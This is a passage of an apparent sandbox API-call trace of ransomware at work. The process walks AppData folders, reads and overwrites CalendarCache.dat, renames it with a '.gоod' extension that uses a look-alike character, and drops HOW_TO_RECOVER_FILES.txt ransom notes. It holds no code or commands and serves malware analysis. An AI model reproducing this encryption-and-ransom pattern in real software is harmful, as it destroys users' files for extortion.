nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.224] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.224] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6eb310 | out: lpFindFileData=0x1f6eb310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.224] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb570) returned 1 [0151.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb530) returned 1 [0151.224] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6eb080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x51 [0151.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eb5a0) returned 1 [0151.224] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\Dictionaries\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\cef\\user data\\dictionaries\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0151.225] GetFileType (hFile=0x804) returned 0x1 [0151.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eb510) returned 1 [0151.225] GetFileType (hFile=0x804) returned 0x1 [0151.225] WriteFile (in: hFile=0x804, lpBuffer=0x37cb6a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6eb668, lpOverlapped=0x0 | out: lpBuffer=0x37cb6a0*, lpNumberOfBytesWritten=0x1f6eb668*=0x5d0, lpOverlapped=0x0) returned 1 [0151.226] CloseHandle (hObject=0x804) returned 1 [0151.226] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ebab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x44 [0151.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebfd0) returned 1 [0151.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\User Data\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\cef\\user data\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0151.227] GetFileType (hFile=0x804) returned 0x1 [0151.227] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf40) returned 1 [0151.227] GetFileType (hFile=0x804) returned 0x1 [0151.227] WriteFile (in: hFile=0x804, lpBuffer=0x37cef08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ec098, lpOverlapped=0x0 | out: lpBuffer=0x37cef08*, lpNumberOfBytesWritten=0x1f6ec098*=0x5d0, lpOverlapped=0x0) returned 1 [0151.228] CloseHandle (hObject=0x804) returned 1 [0151.228] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ec4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0151.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca00) returned 1 [0151.228] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\CEF\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\cef\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x804 [0151.228] GetFileType (hFile=0x804) returned 0x1 [0151.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec970) returned 1 [0151.229] GetFileType (hFile=0x804) returned 0x1 [0151.229] WriteFile (in: hFile=0x804, lpBuffer=0x37d2740*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ecac8, lpOverlapped=0x0 | out: lpBuffer=0x37d2740*, lpNumberOfBytesWritten=0x1f6ecac8*=0x5d0, lpOverlapped=0x0) returned 1 [0151.230] CloseHandle (hObject=0x804) returned 1 [0151.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0151.230] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x23 [0151.230] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0151.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0151.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc12eebd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0151.234] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc12eebd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 0 [0151.234] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0151.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0151.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0151.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms", lpFilePart=0x0) returned 0x23 [0151.235] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0151.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4713d6be, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x6d619041, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6d619041, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0151.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a3c828, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc12eebd3, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xc12eebd3, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0151.235] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0151.235] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0151.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0151.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0151.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x28 [0151.236] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.237] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.237] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0151.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0151.238] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0151.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0151.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0151.238] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x1f6ebb00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x28 [0151.238] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\*", lpFindFileData=0x1f6ebd80 | out: lpFindFileData=0x1f6ebd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0151.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x476c0de7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0151.238] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ebd40 | out: lpFindFileData=0x1f6ebd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 0 [0151.239] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0151.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0151.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0151.239] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat", lpFilePart=0x0) returned 0x3a [0151.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebe10) returned 1 [0151.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat"), fInfoLevelId=0x0, lpFileInformation=0x37fbdf8 | out: lpFileInformation=0x37fbdf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xda8906a2, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x14)) returned 1 [0151.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebdd0) returned 1 [0151.892] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat", nBufferLength=0x105, lpBuffer=0x1f6eb7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat", lpFilePart=0x0) returned 0x3a [0151.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebcc0) returned 1 [0151.892] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0151.892] GetFileType (hFile=0x7dc) returned 0x1 [0151.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc30) returned 1 [0151.892] GetFileType (hFile=0x7dc) returned 0x1 [0151.892] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f6ebe68 | out: lpFileSizeHigh=0x1f6ebe68*=0x0) returned 0x14 [0151.892] ReadFile (in: hFile=0x7dc, lpBuffer=0x38cf2e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ebd98, lpOverlapped=0x0 | out: lpBuffer=0x38cf2e8*, lpNumberOfBytesRead=0x1f6ebd98*=0x14, lpOverlapped=0x0) returned 1 [0151.893] CloseHandle (hObject=0x7dc) returned 1 [0152.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat", nBufferLength=0x105, lpBuffer=0x1f6eb7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat", lpFilePart=0x0) returned 0x3a [0152.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebcc0) returned 1 [0152.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0152.080] GetFileType (hFile=0x7dc) returned 0x1 [0152.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc30) returned 1 [0152.080] GetFileType (hFile=0x7dc) returned 0x1 [0152.080] WriteFile (in: hFile=0x7dc, lpBuffer=0x3a8bb60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f6ebca8, lpOverlapped=0x0 | out: lpBuffer=0x3a8bb60*, lpNumberOfBytesWritten=0x1f6ebca8*=0x20, lpOverlapped=0x0) returned 1 [0152.081] CloseHandle (hObject=0x7dc) returned 1 [0152.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat", lpFilePart=0x0) returned 0x3a [0152.081] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat.gоod", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat.gоod", lpFilePart=0x0) returned 0x3f [0152.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebdd0) returned 1 [0152.081] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f6ebeb0 | out: lpFileInformation=0x1f6ebeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e43986b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xda8906a2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x56dd07a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0152.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebd90) returned 1 [0152.082] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\CalendarCache.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\calendarcache.dat.gоod")) returned 1 [0152.082] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ebab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0152.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebfd0) returned 1 [0152.082] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\Temp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\temp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0152.121] GetFileType (hFile=0x630) returned 0x1 [0152.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf40) returned 1 [0152.121] GetFileType (hFile=0x630) returned 0x1 [0152.122] WriteFile (in: hFile=0x630, lpBuffer=0x3b0ab78*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ec098, lpOverlapped=0x0 | out: lpBuffer=0x3b0ab78*, lpNumberOfBytesWritten=0x1f6ec098*=0x5d0, lpOverlapped=0x0) returned 1 [0152.123] CloseHandle (hObject=0x630) returned 1 [0152.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ec060) returned 1 [0152.123] GetFullPathNameW (in: 